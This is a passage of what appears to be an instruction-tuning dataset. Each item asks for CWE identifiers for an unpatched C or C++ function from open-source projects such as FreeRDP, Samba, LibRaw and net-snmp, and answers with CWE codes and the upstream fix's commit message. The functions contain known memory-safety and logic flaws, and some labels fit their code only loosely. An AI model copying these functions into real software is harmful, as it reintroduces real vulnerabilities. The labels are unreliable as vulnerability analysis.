return false;\n }\n\n auto fragment = Buffer::OwnedBufferFragmentImpl::create(\n absl::string_view(reinterpret_cast(data), length),\n is_outbound_flood_monitored_control_frame ? control_frame_buffer_releasor_\n : frame_buffer_releasor_);\n\n // The Buffer::OwnedBufferFragmentImpl object will be deleted in the *frame_buffer_releasor_\n // callback.\n output.addBufferFragment(*fragment.release());\n return true;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-401'], 'message': '[buffer] Add on-drain hook to buffer API and use it to avoid fragmentation due to tracking of H2 data and control frames in the output buffer (#144)\n\nSigned-off-by: antonio '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static PresentationContext* PresentationContext_new(VideoClientContext* video, BYTE PresentationId,\n UINT32 x, UINT32 y, UINT32 width, UINT32 height)\n{\n\tVideoClientContextPriv* priv = video->priv;\n\tPresentationContext* ret = calloc(1, sizeof(*ret));\n\tif (!ret)\n\t\treturn NULL;\n\n\tret->video = video;\n\tret->PresentationId = PresentationId;\n\n\tret->h264 = h264_context_new(FALSE);\n\tif (!ret->h264)\n\t{\n\t\tWLog_ERR(TAG, \"unable to create a h264 context\");\n\t\tgoto error_h264;\n\t}\n\th264_context_reset(ret->h264, width, height);\n\n\tret->currentSample = Stream_New(NULL, 4096);\n\tif (!ret->currentSample)\n\t{\n\t\tWLog_ERR(TAG, \"unable to create current packet stream\");\n\t\tgoto error_currentSample;\n\t}\n\n\tret->surfaceData = BufferPool_Take(priv->surfacePool, width * height * 4);\n\tif (!ret->surfaceData)\n\t{\n\t\tWLog_ERR(TAG, \"unable to allocate surfaceData\");\n\t\tgoto error_surfaceData;\n\t}\n\n\tret->surface = video->createSurface(video, ret->surfaceData, x, y, width, height);\n\tif (!ret->surface)\n\t{\n\t\tWLog_ERR(TAG, \"unable to create surface\");\n\t\tgoto error_surface;\n\t}\n\n\tret->yuv = yuv_context_new(FALSE);\n\tif (!ret->yuv)\n\t{\n\t\tWLog_ERR(TAG, \"unable to create YUV decoder\");\n\t\tgoto error_yuv;\n\t}\n\n\tyuv_context_reset(ret->yuv, width, height);\n\tret->refCounter = 1;\n\treturn ret;\n\nerror_yuv:\n\tvideo->deleteSurface(video, ret->surface);\nerror_surface:\n\tBufferPool_Return(priv->surfacePool, ret->surfaceData);\nerror_surfaceData:\n\tStream_Free(ret->currentSample, TRUE);\nerror_currentSample:\n\th264_context_free(ret->h264);\nerror_h264:\n\tfree(ret);\n\treturn NULL;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-190'], 'message': 'Fixed int overflow in PresentationContext_new\n\nThanks to hac425 CVE-2020-11038'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: Status RoleGraph::getBSONForRole(RoleGraph* graph,\n const RoleName& roleName,\n mutablebson::Element result) try {\n if (!graph->roleExists(roleName)) {\n return Status(ErrorCodes::RoleNotFound,\n str::stream() << roleName.getFullName() << \"does not name an existing role\");\n }\n std::string id = str::stream() << roleName.getDB() << \".\" << roleName.getRole();\n uassertStatusOK(result.appendString(\"_id\", id));\n uassertStatusOK(\n result.appendString(AuthorizationManager::ROLE_NAME_FIELD_NAME, roleName.getRole()));\n uassertStatusOK(\n result.appendString(AuthorizationManager::ROLE_DB_FIELD_NAME, roleName.getDB()));\n\n // Build privileges array\n mutablebson::Element privilegesArrayElement =\n result.getDocument().makeElementArray(\"privileges\");\n uassertStatusOK(result.pushBack(privilegesArrayElement));\n const PrivilegeVector& privileges = graph->getDirectPrivileges(roleName);\n uassertStatusOK(Privilege::getBSONForPrivileges(privileges, privilegesArrayElement));\n\n // Build roles array\n mutablebson::Element rolesArrayElement = result.getDocument().makeElementArray(\"roles\");\n uassertStatusOK(result.pushBack(rolesArrayElement));\n for (RoleNameIterator roles = graph->getDirectSubordinates(roleName); roles.more();\n roles.next()) {\n const RoleName& subRole = roles.get();\n mutablebson::Element roleObj = result.getDocument().makeElementObject(\"\");\n uassertStatusOK(\n roleObj.appendString(AuthorizationManager::ROLE_NAME_FIELD_NAME, subRole.getRole()));\n uassertStatusOK(\n roleObj.appendString(AuthorizationManager::ROLE_DB_FIELD_NAME, subRole.getDB()));\n uassertStatusOK(rolesArrayElement.pushBack(roleObj));\n }\n\n return Status::OK();\n} catch (...) { ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-863'], 'message': 'SERVER-45472 Ensure RoleGraph can serialize authentication restrictions to BSON'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: bool PackLinuxElf64::calls_crt1(Elf64_Rela const *rela, int sz)\n{\n if (!dynsym || !dynstr) {\n return false;\n }\n for (unsigned relnum= 0; 0 < sz; (sz -= sizeof(Elf64_Rela)), ++rela, ++relnum) {\n unsigned const symnum = get_te64(&rela->r_info) >> 32;\n char const *const symnam = get_dynsym_name(symnum, relnum);\n if (0==strcmp(symnam, \"__libc_start_main\") // glibc\n || 0==strcmp(symnam, \"__libc_init\") // Android\n || 0==strcmp(symnam, \"__uClibc_main\")\n || 0==strcmp(symnam, \"__uClibc_start_main\"))\n return true;\n }\n return false;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-476', 'CWE-190'], 'message': 'Avoid bogus values in PT_DYNAMIC segment.\n\nDetect duplicate DT_*.\nDetect out-of-bounds hashtab and gashtab.\nDetect missing DT_REL, DT_RELA.\nDetect out-of-bounds d_val.\nhttps://github.com/upx/upx/issues/317\n\tmodified: p_lx_elf.cpp'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: _PUBLIC_ enum ndr_err_code ndr_push_nbt_string(struct ndr_push *ndr, int ndr_flags, const char *s)\n{\n\tif (!(ndr_flags & NDR_SCALARS)) {\n\t\treturn NDR_ERR_SUCCESS;\n\t}\n\n\twhile (s && *s) {\n\t\tenum ndr_err_code ndr_err;\n\t\tchar *compname;\n\t\tsize_t complen;\n\t\tuint32_t offset;\n\n\t\t/* see if we have pushed the remaining string already,\n\t\t * if so we use a label pointer to this string\n\t\t */\n\t\tndr_err = ndr_token_retrieve_cmp_fn(&ndr->nbt_string_list, s, &offset, (comparison_fn_t)strcmp, false);\n\t\tif (NDR_ERR_CODE_IS_SUCCESS(ndr_err)) {\n\t\t\tuint8_t b[2];\n\n\t\t\tif (offset > 0x3FFF) {\n\t\t\t\treturn ndr_push_error(ndr, NDR_ERR_STRING,\n\t\t\t\t\t\t \"offset for nbt string label pointer %u[%08X] > 0x00003FFF\",\n\t\t\t\t\t\t offset, offset);\n\t\t\t}\n\n\t\t\tb[0] = 0xC0 | (offset>>8);\n\t\t\tb[1] = (offset & 0xFF);\n\n\t\t\treturn ndr_push_bytes(ndr, b, 2);\n\t\t}\n\n\t\tcomplen = strcspn(s, \".\");\n\n\t\t/* we need to make sure the length fits into 6 bytes */\n\t\tif (complen > 0x3F) {\n\t\t\treturn ndr_push_error(ndr, NDR_ERR_STRING,\n\t\t\t\t\t \"component length %u[%08X] > 0x0000003F\",\n\t\t\t\t\t (unsigned)complen, (unsigned)complen);\n\t\t}\n\n\t\tif (s[complen] == '.' && s[complen+1] == '\\0') {\n\t\t\tcomplen++;\n\t\t}\n\n\t\tcompname = talloc_asprintf(ndr, \"%c%*.*s\",\n\t\t\t\t\t\t(unsigned char)complen,\n\t\t\t\t\t\t(unsigned char)complen,\n\t\t\t\t\t\t(unsigned char)complen, s);\n\t\tNDR_ERR_HAVE_NO_MEMORY(compname);\n\n\t\t/* remember the current componemt + the rest of the string\n\t\t * so it can be reused later\n\t\t */\n\t\tNDR_CHECK(ndr_token_store(ndr, &ndr->nbt_string_list, s, ndr->offset));\n\n\t\t/* push just this component into the blob */\n\t\tNDR_CHECK(ndr_push_bytes(ndr, (const uint8_t *)compname, complen+1));\n\t\ttalloc_free(compname);\n\n\t\ts += complen;\n\t\tif (*s == '.') s++;\n\t}\n\n\t/* if we reach the end of the string and have pushed the last component\n\t * without using a label pointer, we need to terminate the string\n\t */\n\treturn ndr_push_bytes(ndr, (const uint8_t *)\"\", 1);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-400'], 'message': 'CVE-2020-10745: ndr/dns-utils: prepare for NBT compatibility\n\nNBT has a funny thing where it sometimes needs to send a trailing dot as\npart of the last component, because the string representation is a user\nname. In DNS, \"example.com\", and \"example.com.\" are the same, both\nhaving three components (\"example\", \"com\", \"\"); in NBT, we want to treat\nthem differently, with the second form having the three components\n(\"example\", \"com.\", \"\").\n\nThis retains the logic of e6e2ec0001fe3c010445e26cc0efddbc1f73416b.\n\nAlso DNS compression cannot be turned off for NBT.\n\nBUG: https://bugzilla.samba.org/show_bug.cgi?id=14378\n\nSigned-off-by: Douglas Bagnall '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int imap_exec(struct ImapAccountData *adata, const char *cmdstr, ImapCmdFlags flags)\n{\n int rc;\n\n rc = cmd_start(adata, cmdstr, flags);\n if (rc < 0)\n {\n cmd_handle_fatal(adata);\n return IMAP_EXEC_FATAL;\n }\n\n if (flags & IMAP_CMD_QUEUE)\n return IMAP_EXEC_SUCCESS;\n\n if ((flags & IMAP_CMD_POLL) && (C_ImapPollTimeout > 0) &&\n ((mutt_socket_poll(adata->conn, C_ImapPollTimeout)) == 0))\n {\n mutt_error(_(\"Connection to %s timed out\"), adata->conn->account.host);\n cmd_handle_fatal(adata);\n return IMAP_EXEC_FATAL;\n }\n\n /* Allow interruptions, particularly useful if there are network problems. */\n mutt_sig_allow_interrupt(true);\n do\n {\n rc = imap_cmd_step(adata);\n } while (rc == IMAP_RES_CONTINUE);\n mutt_sig_allow_interrupt(false);\n\n if (rc == IMAP_RES_NO)\n return IMAP_EXEC_ERROR;\n if (rc != IMAP_RES_OK)\n {\n if (adata->status != IMAP_FATAL)\n return IMAP_EXEC_ERROR;\n\n mutt_debug(LL_DEBUG1, \"command failed: %s\\n\", adata->buf);\n return IMAP_EXEC_FATAL;\n }\n\n return IMAP_EXEC_SUCCESS;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-94', 'CWE-74'], 'message': 'tls: clear data after a starttls acknowledgement\n\nAfter a starttls acknowledgement message, clear the buffers of any\nincoming data / commands. This will ensure that all future data is\nhandled securely.\n\nCo-authored-by: Pietro Cerutti '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: usm_free_usmStateReference(void *old)\n{\n struct usmStateReference *old_ref = (struct usmStateReference *) old;\n\n if (old_ref) {\n\n if (old_ref->usr_name_length)\n SNMP_FREE(old_ref->usr_name);\n if (old_ref->usr_engine_id_length)\n SNMP_FREE(old_ref->usr_engine_id);\n if (old_ref->usr_auth_protocol_length)\n SNMP_FREE(old_ref->usr_auth_protocol);\n if (old_ref->usr_priv_protocol_length)\n SNMP_FREE(old_ref->usr_priv_protocol);\n\n if (old_ref->usr_auth_key_length && old_ref->usr_auth_key) {\n SNMP_ZERO(old_ref->usr_auth_key, old_ref->usr_auth_key_length);\n SNMP_FREE(old_ref->usr_auth_key);\n }\n if (old_ref->usr_priv_key_length && old_ref->usr_priv_key) {\n SNMP_ZERO(old_ref->usr_priv_key, old_ref->usr_priv_key_length);\n SNMP_FREE(old_ref->usr_priv_key);\n }\n\n SNMP_ZERO(old_ref, sizeof(*old_ref));\n SNMP_FREE(old_ref);\n\n }\n\n} /* end usm_free_usmStateReference() */ ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-415'], 'message': 'libsnmp, USM: Introduce a reference count in struct usmStateReference\n\nThis patch fixes https://sourceforge.net/p/net-snmp/bugs/2956/.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: webSocketsHasDataInBuffer(rfbClientPtr cl)\n{\n ws_ctx_t *wsctx = (ws_ctx_t *)cl->wsctx;\n\n if (wsctx && wsctx->readbuflen)\n return TRUE;\n\n return (cl->sslctx && rfbssl_pending(cl) > 0);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-787'], 'message': 'fix overflow and refactor websockets decode (Hybi)\n\nfix critical heap-based buffer overflow which allowed easy modification\nof a return address via an overwritten function pointer\n\nfix bug causing connections to fail due a \"one websocket frame = one\nws_read\" assumption, which failed with LibVNCServer-0.9.11\n\nrefactor websocket Hybi decode to use a simple state machine for\ndecoding of websocket frames'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int LibRaw::unpack_thumb(void)\n{\n CHECK_ORDER_LOW(LIBRAW_PROGRESS_IDENTIFY);\n CHECK_ORDER_BIT(LIBRAW_PROGRESS_THUMB_LOAD);\n\n try\n {\n if (!libraw_internal_data.internal_data.input)\n return LIBRAW_INPUT_CLOSED;\n\n int t_colors = libraw_internal_data.unpacker_data.thumb_misc >> 5 & 7;\n int t_bytesps = (libraw_internal_data.unpacker_data.thumb_misc & 31) / 8;\n\n if (!ID.toffset && !(imgdata.thumbnail.tlength > 0 &&\n load_raw == &LibRaw::broadcom_load_raw) // RPi\n )\n {\n return LIBRAW_NO_THUMBNAIL;\n }\n else if (thumb_load_raw)\n {\n kodak_thumb_loader();\n T.tformat = LIBRAW_THUMBNAIL_BITMAP;\n SET_PROC_FLAG(LIBRAW_PROGRESS_THUMB_LOAD);\n return 0;\n }\n else\n {\n#ifdef USE_X3FTOOLS\n\tif (write_thumb == &LibRaw::x3f_thumb_loader)\n {\n INT64 tsize = x3f_thumb_size();\n if (tsize < 2048 || INT64(ID.toffset) + tsize < 1)\n throw LIBRAW_EXCEPTION_IO_CORRUPT;\n\n if (INT64(ID.toffset) + tsize > ID.input->size() + THUMB_READ_BEYOND)\n throw LIBRAW_EXCEPTION_IO_EOF;\n }\n#else\n\tif (0) {}\n#endif\n else\n {\n if (INT64(ID.toffset) + INT64(T.tlength) < 1)\n throw LIBRAW_EXCEPTION_IO_CORRUPT;\n\n if (INT64(ID.toffset) + INT64(T.tlength) >\n ID.input->size() + THUMB_READ_BEYOND)\n throw LIBRAW_EXCEPTION_IO_EOF;\n }\n\n ID.input->seek(ID.toffset, SEEK_SET);\n if (write_thumb == &LibRaw::jpeg_thumb)\n {\n if (T.thumb)\n free(T.thumb);\n T.thumb = (char *)malloc(T.tlength);\n merror(T.thumb, \"jpeg_thumb()\");\n ID.input->read(T.thumb, 1, T.tlength);\n unsigned char *tthumb = (unsigned char *)T.thumb;\n tthumb[0] = 0xff;\n tthumb[1] = 0xd8;\n#ifdef NO_JPEG\n T.tcolors = 3;\n#else\n {\n jpegErrorManager jerr;\n struct jpeg_decompress_struct cinfo;\n cinfo.err = jpeg_std_error(&jerr.pub);\n jerr.pub.error_exit = jpegErrorExit;\n if (setjmp(jerr.setjmp_buffer))\n {\n err2:\n // Error in original JPEG thumb, read it again because\n // original bytes 0-1 was damaged above\n jpeg_destroy_decompress(&cinfo);\n T.tcolors = 3;\n T.tformat = LIBRAW_THUMBNAIL_UNKNOWN;\n ID.input->seek(ID.toffset, SEEK_SET);\n ID.input->read(T.thumb, 1, T.tlength);\n SET_PROC_FLAG(LIBRAW_PROGRESS_THUMB_LOAD);\n return 0;\n }\n jpeg_create_decompress(&cinfo);\n jpeg_mem_src(&cinfo, (unsigned char *)T.thumb, T.tlength);\n int rc = jpeg_read_header(&cinfo, TRUE);\n if (rc != 1)\n goto err2;\n T.tcolors = (cinfo.num_components > 0 && cinfo.num_components <= 3)\n ? cinfo.num_components\n : 3;\n jpeg_destroy_decompress(&cinfo);\n }\n#endif\n T.tformat = LIBRAW_THUMBNAIL_JPEG;\n SET_PROC_FLAG(LIBRAW_PROGRESS_THUMB_LOAD);\n return 0;\n }\n else if (write_thumb == &LibRaw::layer_thumb)\n {\n int colors = libraw_internal_data.unpacker_data.thumb_misc >> 5 & 7;\n if (colors != 1 && colors != 3)\n return LIBRAW_UNSUPPORTED_THUMBNAIL;\n\n int tlength = T.twidth * T.theight;\n if (T.thumb)\n free(T.thumb);\n T.thumb = (char *)calloc(colors, tlength);\n merror(T.thumb, \"layer_thumb()\");\n unsigned char *tbuf = (unsigned char *)calloc(colors, tlength);\n merror(tbuf, \"layer_thumb()\");\n ID.input->read(tbuf, colors, T.tlength);\n if (libraw_internal_data.unpacker_data.thumb_misc >> 8 &&\n colors == 3) // GRB order\n for (int i = 0; i < tlength; i++)\n {\n T.thumb[i * 3] = tbuf[i + tlength];\n T.thumb[i * 3 + 1] = tbuf[i];\n T.thumb[i * 3 + 2] = tbuf[i + 2 * tlength];\n }\n else if (colors == 3) // RGB or 1-channel\n for (int i = 0; i < tlength; i++)\n {\n T.thumb[i * 3] = tbuf[i];\n T.thumb[i * 3 + 1] = tbuf[i + tlength];\n T.thumb[i * 3 + 2] = tbuf[i + 2 * tlength];\n }\n else if (colors == 1)\n {\n free(T.thumb);\n T.thumb = (char *)tbuf;\n tbuf = 0;\n }\n if (tbuf)\n free(tbuf);\n T.tcolors = colors;\n T.tlength = colors * tlength;\n T.tformat = LIBRAW_THUMBNAIL_BITMAP;\n SET_PROC_FLAG(LIBRAW_PROGRESS_THUMB_LOAD);\n return 0;\n }\n else if (write_thumb == &LibRaw::rollei_thumb)\n {\n int i;\n int tlength = T.twidth * T.theight;\n if (T.thumb)\n free(T.thumb);\n T.tcolors = 3;\n T.thumb = (char *)calloc(T.tcolors, tlength);\n merror(T.thumb, \"layer_thumb()\");\n unsigned short *tbuf = (unsigned short *)calloc(2, tlength);\n merror(tbuf, \"layer_thumb()\");\n read_shorts(tbuf, tlength);\n for (i = 0; i < tlength; i++)\n {\n T.thumb[i * 3] = (tbuf[i] << 3) & 0xff;\n T.thumb[i * 3 + 1] = (tbuf[i] >> 5 << 2) & 0xff;\n T.thumb[i * 3 + 2] = (tbuf[i] >> 11 << 3) & 0xff;\n }\n free(tbuf);\n T.tlength = T.tcolors * tlength;\n T.tformat = LIBRAW_THUMBNAIL_BITMAP;\n SET_PROC_FLAG(LIBRAW_PROGRESS_THUMB_LOAD);\n return 0;\n }\n else if (write_thumb == &LibRaw::ppm_thumb)\n {\n if (t_bytesps > 1)\n throw LIBRAW_EXCEPTION_IO_CORRUPT; // 8-bit thumb, but parsed for more\n // bits\n int t_length = T.twidth * T.theight * t_colors;\n\n if (T.tlength &&\n (int)T.tlength < t_length) // try to find tiff ifd with needed offset\n {\n int pifd = find_ifd_by_offset(libraw_internal_data.internal_data.toffset);\n if (pifd >= 0 && tiff_ifd[pifd].strip_offsets_count &&\n tiff_ifd[pifd].strip_byte_counts_count)\n {\n // We found it, calculate final size\n unsigned total_size = 0;\n for (int i = 0; i < tiff_ifd[pifd].strip_byte_counts_count; i++)\n total_size += tiff_ifd[pifd].strip_byte_counts[i];\n if (total_size != (unsigned)t_length) // recalculate colors\n {\n if (total_size == T.twidth * T.tlength * 3)\n T.tcolors = 3;\n else if (total_size == T.twidth * T.tlength)\n T.tcolors = 1;\n }\n T.tlength = total_size;\n if (T.thumb)\n free(T.thumb);\n T.thumb = (char *)malloc(T.tlength);\n merror(T.thumb, \"ppm_thumb()\");\n\n char *dest = T.thumb;\n INT64 pos = ID.input->tell();\n\n for (int i = 0; i < tiff_ifd[pifd].strip_byte_counts_count &&\n i < tiff_ifd[pifd].strip_offsets_count;\n i++)\n {\n int remain = T.tlength;\n int sz = tiff_ifd[pifd].strip_byte_counts[i];\n int off = tiff_ifd[pifd].strip_offsets[i];\n if (off >= 0 && off + sz <= ID.input->size() && sz <= remain)\n {\n ID.input->seek(off, SEEK_SET);\n ID.input->read(dest, sz, 1);\n remain -= sz;\n dest += sz;\n }\n }\n ID.input->seek(pos, SEEK_SET);\n T.tformat = LIBRAW_THUMBNAIL_BITMAP;\n SET_PROC_FLAG(LIBRAW_PROGRESS_THUMB_LOAD);\n return 0;\n }\n }\n\n if (!T.tlength)\n T.tlength = t_length;\n if (T.thumb)\n free(T.thumb);\n\n T.thumb = (char *)malloc(T.tlength);\n if (!T.tcolors)\n T.tcolors = t_colors;\n merror(T.thumb, \"ppm_thumb()\");\n\n ID.input->read(T.thumb, 1, T.tlength);\n\n T.tformat = LIBRAW_THUMBNAIL_BITMAP;\n SET_PROC_FLAG(LIBRAW_PROGRESS_THUMB_LOAD);\n return 0;\n }\n else if (write_thumb == &LibRaw::ppm16_thumb)\n {\n if (t_bytesps > 2)\n throw LIBRAW_EXCEPTION_IO_CORRUPT; // 16-bit thumb, but parsed for\n // more bits\n int o_bps = (imgdata.params.raw_processing_options &\n LIBRAW_PROCESSING_USE_PPM16_THUMBS)\n ? 2\n : 1;\n int o_length = T.twidth * T.theight * t_colors * o_bps;\n int i_length = T.twidth * T.theight * t_colors * 2;\n if (!T.tlength)\n T.tlength = o_length;\n ushort *t_thumb = (ushort *)calloc(i_length, 1);\n ID.input->read(t_thumb, 1, i_length);\n if ((libraw_internal_data.unpacker_data.order == 0x4949) ==\n (ntohs(0x1234) == 0x1234))\n swab((char *)t_thumb, (char *)t_thumb, i_length);\n\n if (T.thumb)\n free(T.thumb);\n if ((imgdata.params.raw_processing_options &\n LIBRAW_PROCESSING_USE_PPM16_THUMBS))\n {\n T.thumb = (char *)t_thumb;\n T.tformat = LIBRAW_THUMBNAIL_BITMAP16;\n }\n else\n {\n T.thumb = (char *)malloc(o_length);\n merror(T.thumb, \"ppm_thumb()\");\n for (int i = 0; i < o_length; i++)\n T.thumb[i] = t_thumb[i] >> 8;\n free(t_thumb);\n T.tformat = LIBRAW_THUMBNAIL_BITMAP;\n }\n SET_PROC_FLAG(LIBRAW_PROGRESS_THUMB_LOAD);\n return 0;\n }\n#ifdef USE_X3FTOOLS\n\t else if (write_thumb == &LibRaw::x3f_thumb_loader)\n {\n x3f_thumb_loader();\n SET_PROC_FLAG(LIBRAW_PROGRESS_THUMB_LOAD);\n return 0;\n }\n#endif\n else\n {\n return LIBRAW_UNSUPPORTED_THUMBNAIL;\n }\n }\n // last resort\n return LIBRAW_UNSUPPORTED_THUMBNAIL;\n }\n catch (LibRaw_exceptions err)\n {\n EXCEPTION_HANDLER(err);\n }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20', 'CWE-125'], 'message': 'Thumbnail size range check'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static CACHE_BITMAP_V2_ORDER* update_read_cache_bitmap_v2_order(rdpUpdate* update, wStream* s,\n BOOL compressed, UINT16 flags)\n{\n\tBYTE bitsPerPixelId;\n\tCACHE_BITMAP_V2_ORDER* cache_bitmap_v2;\n\n\tif (!update || !s)\n\t\treturn NULL;\n\n\tcache_bitmap_v2 = calloc(1, sizeof(CACHE_BITMAP_V2_ORDER));\n\n\tif (!cache_bitmap_v2)\n\t\tgoto fail;\n\n\tcache_bitmap_v2->cacheId = flags & 0x0003;\n\tcache_bitmap_v2->flags = (flags & 0xFF80) >> 7;\n\tbitsPerPixelId = (flags & 0x0078) >> 3;\n\tcache_bitmap_v2->bitmapBpp = CBR2_BPP[bitsPerPixelId];\n\n\tif (cache_bitmap_v2->flags & CBR2_PERSISTENT_KEY_PRESENT)\n\t{\n\t\tif (Stream_GetRemainingLength(s) < 8)\n\t\t\tgoto fail;\n\n\t\tStream_Read_UINT32(s, cache_bitmap_v2->key1); /* key1 (4 bytes) */\n\t\tStream_Read_UINT32(s, cache_bitmap_v2->key2); /* key2 (4 bytes) */\n\t}\n\n\tif (cache_bitmap_v2->flags & CBR2_HEIGHT_SAME_AS_WIDTH)\n\t{\n\t\tif (!update_read_2byte_unsigned(s, &cache_bitmap_v2->bitmapWidth)) /* bitmapWidth */\n\t\t\tgoto fail;\n\n\t\tcache_bitmap_v2->bitmapHeight = cache_bitmap_v2->bitmapWidth;\n\t}\n\telse\n\t{\n\t\tif (!update_read_2byte_unsigned(s, &cache_bitmap_v2->bitmapWidth) || /* bitmapWidth */\n\t\t !update_read_2byte_unsigned(s, &cache_bitmap_v2->bitmapHeight)) /* bitmapHeight */\n\t\t\tgoto fail;\n\t}\n\n\tif (!update_read_4byte_unsigned(s, &cache_bitmap_v2->bitmapLength) || /* bitmapLength */\n\t !update_read_2byte_unsigned(s, &cache_bitmap_v2->cacheIndex)) /* cacheIndex */\n\t\tgoto fail;\n\n\tif (cache_bitmap_v2->flags & CBR2_DO_NOT_CACHE)\n\t\tcache_bitmap_v2->cacheIndex = BITMAP_CACHE_WAITING_LIST_INDEX;\n\n\tif (compressed)\n\t{\n\t\tif (!(cache_bitmap_v2->flags & CBR2_NO_BITMAP_COMPRESSION_HDR))\n\t\t{\n\t\t\tif (Stream_GetRemainingLength(s) < 8)\n\t\t\t\tgoto fail;\n\n\t\t\tStream_Read_UINT16(\n\t\t\t s, cache_bitmap_v2->cbCompFirstRowSize); /* cbCompFirstRowSize (2 bytes) */\n\t\t\tStream_Read_UINT16(\n\t\t\t s, cache_bitmap_v2->cbCompMainBodySize); /* cbCompMainBodySize (2 bytes) */\n\t\t\tStream_Read_UINT16(s, cache_bitmap_v2->cbScanWidth); /* cbScanWidth (2 bytes) */\n\t\t\tStream_Read_UINT16(\n\t\t\t s, cache_bitmap_v2->cbUncompressedSize); /* cbUncompressedSize (2 bytes) */\n\t\t\tcache_bitmap_v2->bitmapLength = cache_bitmap_v2->cbCompMainBodySize;\n\t\t}\n\t}\n\n\tif (cache_bitmap_v2->bitmapLength == 0)\n\t\tgoto fail;\n\n\tif (Stream_GetRemainingLength(s) < cache_bitmap_v2->bitmapLength)\n\t\tgoto fail;\n\n\tif (cache_bitmap_v2->bitmapLength == 0)\n\t\tgoto fail;\n\n\tcache_bitmap_v2->bitmapDataStream = malloc(cache_bitmap_v2->bitmapLength);\n\n\tif (!cache_bitmap_v2->bitmapDataStream)\n\t\tgoto fail;\n\n\tStream_Read(s, cache_bitmap_v2->bitmapDataStream, cache_bitmap_v2->bitmapLength);\n\tcache_bitmap_v2->compressed = compressed;\n\treturn cache_bitmap_v2;\nfail:\n\tfree_cache_bitmap_v2_order(update->context, cache_bitmap_v2);\n\treturn NULL;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-125'], 'message': 'Fixed OOB read in update_read_cache_bitmap_v3_order\n\nCVE-2020-11096 thanks @antonio-morales for finding this.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: TRIO_PRIVATE void TrioWriteString TRIO_ARGS5((self, string, flags, width, precision),\n trio_class_t* self, TRIO_CONST char* string,\n trio_flags_t flags, int width, int precision)\n{\n\tint length;\n\tint ch;\n\n\tassert(VALID(self));\n\tassert(VALID(self->OutStream));\n\n\tif (string == NULL)\n\t{\n\t\tstring = internalNullString;\n\t\tlength = sizeof(internalNullString) - 1;\n#if TRIO_FEATURE_QUOTE\n\t\t/* Disable quoting for the null pointer */\n\t\tflags &= (~FLAGS_QUOTE);\n#endif\n\t\twidth = 0;\n\t}\n\telse\n\t{\n\t\tif (precision == 0)\n\t\t{\n\t\t\tlength = trio_length(string);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tlength = trio_length_max(string, precision);\n\t\t}\n\t}\n\tif ((NO_PRECISION != precision) && (precision < length))\n\t{\n\t\tlength = precision;\n\t}\n\twidth -= length;\n\n#if TRIO_FEATURE_QUOTE\n\tif (flags & FLAGS_QUOTE)\n\t\tself->OutStream(self, CHAR_QUOTE);\n#endif\n\n\tif (!(flags & FLAGS_LEFTADJUST))\n\t{\n\t\twhile (width-- > 0)\n\t\t\tself->OutStream(self, CHAR_ADJUST);\n\t}\n\n\twhile (length-- > 0)\n\t{\n\t\t/* The ctype parameters must be an unsigned char (or EOF) */\n\t\tch = (int)((unsigned char)(*string++));\n\t\tTrioWriteStringCharacter(self, ch, flags);\n\t}\n\n\tif (flags & FLAGS_LEFTADJUST)\n\t{\n\t\twhile (width-- > 0)\n\t\t\tself->OutStream(self, CHAR_ADJUST);\n\t}\n#if TRIO_FEATURE_QUOTE\n\tif (flags & FLAGS_QUOTE)\n\t\tself->OutStream(self, CHAR_QUOTE);\n#endif\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-190', 